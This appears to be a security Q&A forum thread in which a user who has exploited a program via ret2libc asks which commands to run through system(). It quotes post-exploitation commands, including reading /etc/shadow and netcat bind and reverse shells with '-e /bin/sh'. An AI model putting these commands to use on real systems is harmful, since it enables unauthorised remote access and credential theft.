I have successfully exploited a program using ret2libc but I am running into a problem. Whenever I feed system() with /bin/sh I have nothing in return the program silently exit.

However, if I feed echo val > /t and I read /t I get val.

So I am able to run partial commands and I want to know which commands can be used instead of spawning a shell?

I thought of:

nc -l -p 99 #but I get illegal arg -p
cat /etc/shadow #but I get sh: 1: tc/shadow: not found

I would like to know what other possibilities I can execute that would give me access to the vulnerable server/computer bearing in mind that reverse shell (nc -l -p -e /bin/sh) didn't work due to string limitation of some sort.

  • Can't you read the source code of your app and figure out how the string is handled? Or at least run in a debugger and watch the buffer where your string is, step-by-step? If you don't understand what happens to it you'll have a hard time anyway. Jul 12 '14 at 12:57
  • Also can you write to disk? Can you host a script on it? Jul 12 '14 at 12:59
  • Your -p is missing a port number?
    – domen
    Aug 11 '14 at 14:29
  • @SteveDL - no source code is provided, and no I cannot write to disk. @domen - you can see in the example above I fed -p 99 to nc
    – AK_
    Aug 11 '14 at 16:34

A reverse shell should do it. You have several options. Read a bit more on it here.


With netcat I believe it could be done the following way

nc -e /bin/sh 1234
  • Thanks for the reply but as I mentioned earlier. This is not possible due to some string limitations - I don't even understand why do I get "illegal arg -p" when I feed it to system()
    – AK_
    May 13 '14 at 16:46
  • @AK_ How do you expect people to come up with a solution when you don't even know what the problem is? Find out what those "string limitations" are, and maybe someone can suggest you how to work around them.
    – Philipp
    Sep 10 '14 at 14:56
  • @Philipp how would you know what is the limitation? It's not like something I can read or decode
    – AK_
    Sep 13 '14 at 4:42

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.